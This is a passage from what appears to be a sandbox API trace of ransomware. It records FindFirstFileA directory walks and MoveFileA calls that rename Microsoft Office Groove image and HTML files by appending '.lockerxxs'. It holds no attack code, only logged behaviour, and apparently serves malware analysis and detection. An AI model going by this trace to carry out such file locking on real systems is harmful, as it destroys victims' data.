Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\break.jpg.lockerxxs")) returned 1 [0064.298] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\button.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\button.jpg.lockerxxs")) returned 1 [0064.302] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\checkbox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\checkbox.jpg.lockerxxs")) returned 1 [0064.306] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\combobox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\combobox.jpg.lockerxxs")) returned 1 [0064.311] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\contact.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\contact.jpg.lockerxxs")) returned 1 [0064.314] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\currency.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\currency.jpg.lockerxxs")) returned 1 [0064.319] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\date.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\date.jpg.lockerxxs")) returned 1 [0064.323] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\datetime.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\datetime.jpg.lockerxxs")) returned 1 [0064.326] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg.lockerxxs")) returned 1 [0064.331] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg.lockerxxs")) returned 1 [0064.335] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\heading.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\heading.jpg.lockerxxs")) returned 1 [0064.339] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\image.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\image.jpg.lockerxxs")) returned 1 [0064.342] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\line.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\line.jpg.lockerxxs")) returned 1 [0064.345] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\listbox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\listbox.jpg.lockerxxs")) returned 1 [0064.349] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\numeric.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\numeric.jpg.lockerxxs")) returned 1 [0064.352] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\password.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\password.jpg.lockerxxs")) returned 1 [0064.358] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\radio.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\radio.jpg.lockerxxs")) returned 1 [0064.362] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg.lockerxxs")) returned 1 [0064.366] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg.lockerxxs")) returned 1 [0064.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textarea.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textarea.jpg.lockerxxs")) returned 1 [0064.371] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textbox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textbox.jpg.lockerxxs")) returned 1 [0064.374] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textview.jpg.lockerxxs")) returned 1 [0064.377] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg.lockerxxs")) returned 1 [0064.381] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html.lockerxxs")) returned 1 [0064.384] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html.lockerxxs")) returned 1 [0064.388] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html.lockerxxs")) returned 1 [0064.391] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html.lockerxxs")) returned 1 [0064.396] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html.lockerxxs")) returned 1 [0064.400] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html.lockerxxs")) returned 1 [0064.401] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0069, dwReserved1=0x730065, cFileName=".", cAlternateFileName="")) returned 0x502518 [0064.412] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsversion1warning.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsVersion1Warning.htm.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsversion1warning.htm.lockerxxs")) returned 1 [0064.416] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg.lockerxxs")) returned 1 [0064.428] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html.lockerxxs")) returned 1 [0064.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg.lockerxxs")) returned 1 [0064.437] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg.lockerxxs")) returned 1 [0064.437] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName=".", cAlternateFileName="")) returned 0x502518 [0064.447] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg.lockerxxs")) returned 1 [0064.454] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html.lockerxxs")) returned 1 [0064.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html.lockerxxs")) returned 1 [0064.462] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html.lockerxxs")) returned 1 [0064.465] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html.lockerxxs")) returned 1 [0064.468] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html.lockerxxs")) returned 1 [0064.472] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html.lockerxxs")) returned 1 [0064.475] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html.lockerxxs")) returned 1 [0064.479] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html.lockerxxs")) returned 1 [0064.481] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html.lockerxxs")) returned 1 [0064.482] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0069, dwReserved1=0x730065, cFileName=".", cAlternateFileName="")) returned 0x502558 [0064.489] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.491] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*.*", lpFindFileData=0x18f268 | out: 